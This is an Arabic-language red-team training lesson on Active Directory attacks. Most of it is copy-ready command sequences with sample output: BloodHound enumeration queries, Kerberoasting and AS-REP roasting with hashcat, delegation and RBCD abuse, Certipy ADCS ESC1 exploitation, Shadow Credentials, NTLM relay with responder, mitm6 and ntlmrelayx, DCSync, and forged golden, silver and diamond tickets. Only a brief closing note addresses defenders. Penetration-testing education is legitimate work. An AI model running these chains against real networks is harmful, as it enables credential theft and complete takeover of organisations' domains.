اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Active Directory Attacks — من جوّه بقى

ADCS و Delegation و NTLM Relay و Shadow Credentials

المستوى
خبير
المدة
100m
الترتيب
الدرس 35 من 85
ADCSDelegationNTLM RelayShadow Creds

ليه Active Directory هو الجائزة الكبرى؟

تشبيه يقرّب الفكرة
بُص. لو دخلت شركة فيها 10 آلاف موظف، هتروح فين الأول؟ هتفضل تكسر لاب توب موظف ورا التاني؟ ولا هتروح للسيرفر اللي ماسك المفاتيح كلها؟

- طب يا حضرتك، أنا داخل بـ user عادي.. هكسر DA إزاي من غير exploit؟

يا مستجد. الـ DA مش بيتكسر بـ exploit. بيتكسر بـ misconfig قاعد سنين محدش فاكره. الـ Domain Controller هو مفتاح المملكة، واللي معاه Domain Admin أو الـ krbtgt هو فعلياً مالك كل جهاز وكل حساب. الدرس ده عن السكك اللي بتوصلك للمفتاح ده — مش الكلام النظري، السكك الحقيقية اللي بتشتغل في 2026.

ارسم شجرة الهجوم بـ BloodHound

إنت داخل دومين فيه 1200 يوزر و 90 سيرفر. هتفحص كل ACL بإيدك؟ هتقعد تكتب net user /domain لحد ما الشمس تطلع؟ لا. أول حاجة بيعملها أي red teamer جوه الدومين: يرسم العلاقات.

BloodHound + SharpHound بيلموا الـ ACLs والـ sessions وعضويات الجروبات كلها، وبيحولوها لجراف تقدر تمشي فيه بعينك من اليوزر بتاعك لحد Domain Admin. في حادثة Conti ransomware اللي اتسربت في 2021، الـ playbook بتاعهم كان حرفياً: SharpHound أول حاجة، وبعدين Cypher queries، وبعدين تنفيذ. مش عبقرية — منهجية.

$ bloodhound-python -d corp.local -u user -p Pass1 -ns 10.0.0.10 -c All --zip
$ Invoke-BloodHound -CollectionMethod All,LoggedOn,GPOLocalGroup -ZipFileName loot.zip
[+] 1247 users, 92 computers, 38 GPOs collected

استعلامات Cypher تستحق الحفظ

Cypher
MATCH p=shortestPath((u:User {name:"ME@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
MATCH (u:User {hasspn:true}) WHERE u.pwdlastset < (date().epochSeconds - 31536000) RETURN u.name
MATCH (u)-[:GenericAll|WriteOwner|WriteDacl]->(t) RETURN u,t

ترسانة هجمات Kerberos كاملة

1) Kerberoasting

bash
GetUserSPNs.py corp.local/user:Pass1 -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r rules/best64.rule

2) AS-REP Roasting

bash
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
hashcat -m 18200 asrep.hash rockyou.txt

3) Unconstrained Delegation

bash
Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC1 PWNED-HOST
PetitPotam.py -d corp.local -u user -p Pass1 PWNED DC1

4) Constrained Delegation Abuse (S4U)

bash
getST.py -spn cifs/target.corp.local -impersonate Administrator corp.local/svc:Pass1
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local

5) Resource-Based Constrained Delegation (RBCD)

bash
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write corp.local/user:Pass1
addcomputer.py corp.local/user:Pass1 -computer-name FAKE$ -computer-pass Fake1
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE$:Fake1

ADCS — الجبهة الأحدث والأخطر (ESC1 → ESC15)

Active Directory Certificate Services فيه قوالب شهادات سهل جداً يحصل فيها سوء تكوين. أداة Certipy بتلاقي الخروم دي وبتستغلها أوتوماتيك من غير ما تحتاج تعرق.

$ certipy find -u user@corp.local -p Pass1 -dc-ip 10.0.0.10 -vulnerable -stdout
[!] Vulnerable: VulnTemplate (ESC1) — ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU
$ certipy req -u user@corp.local -p Pass1 -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
[+] Got certificate for administrator@corp.local — saved as administrator.pfx
$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
[+] Got TGT and NT hash for administrator: aad3b435...:31d6cfe0d16ae...

الـ ESC اللي هتقابلهم في الميدان

  • ESC1 — قالب بيسمح بـ SAN + Client Authentication. أنت بتطلب شهادة باسم الأدمن وخلاص.
  • ESC2 — Any Purpose EKU أو EKU فاضي.
  • ESC4 — GenericAll على القالب نفسه = تعدّل عليه وتحوّله لقالب ضعيف بإيدك.
  • ESC8 — NTLM relay لواجهة CA web enrollment.
  • ESC11 — واجهة RPC من غير EPA.
  • ESC13/15 — جديدة، بتلعب على issuance policies والـ schema.

Shadow Credentials — تمشي من غير ما تكسر باسورد

لو معاك GenericWrite على حساب، تقدر تضيف له مفتاح msDS-KeyCredentialLink وتعمل مصادقة باسمه عن طريق PKINIT. الحساب باسوورده زي ما هو، إنت بس دخلت من باب جانبي.

bash
certipy shadow auto -u user@corp.local -p Pass1 -account victim

NTLM Relay — الهجمة اللي مش بتموت

bash
responder -I eth0 -wrf
ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access
ntlmrelayx.py -t ldap://dc --shadow-credentials --shadow-target victim$
mitm6 -d corp.local
ntlmrelayx.py -6 -wh fake-wpad -t ldaps://dc --delegate-access

DCSync والتذاكر الذهبية والفضية والماسية

bash
secretsdump.py -just-dc corp.local/admin:Pass1@DC1
ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC1
ticketer.py -nthash <SVC_NTLM> -spn cifs/target -domain corp.local user
Rubeus.exe diamond /tgtdeleg /ticketuser:admin /ticketuserid:500 /groups:512

الخلاصة الناشفة

الـ AD مش بيتكسر بـ exploit واحد. بيتكسر بسلسلة قرارات إدارية اتأجلت سنين.
الـ junior بيقول: "أنا عملت Kerberoast، يبقى أنا معدّي".
المحترف بيقول: "أنا قعدت أرسم الجراف 4 ساعات، وعرفت إن الطريق من user عادي لـ DA طوله 3 خطوات. الباقي تنفيذ".
لو إنت blue team: شغّل BloodHound على نفسك قبل المهاجم. لو لقيت طريق قصير، يبقى الفجوة موجودة. ما تنتظرش حد يثبتها لك.

اكتبها على سطح مكتبك:
كل يوم ما تشغلش BloodHound على دومينك، أنت بتتفرج مش بتدافع.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.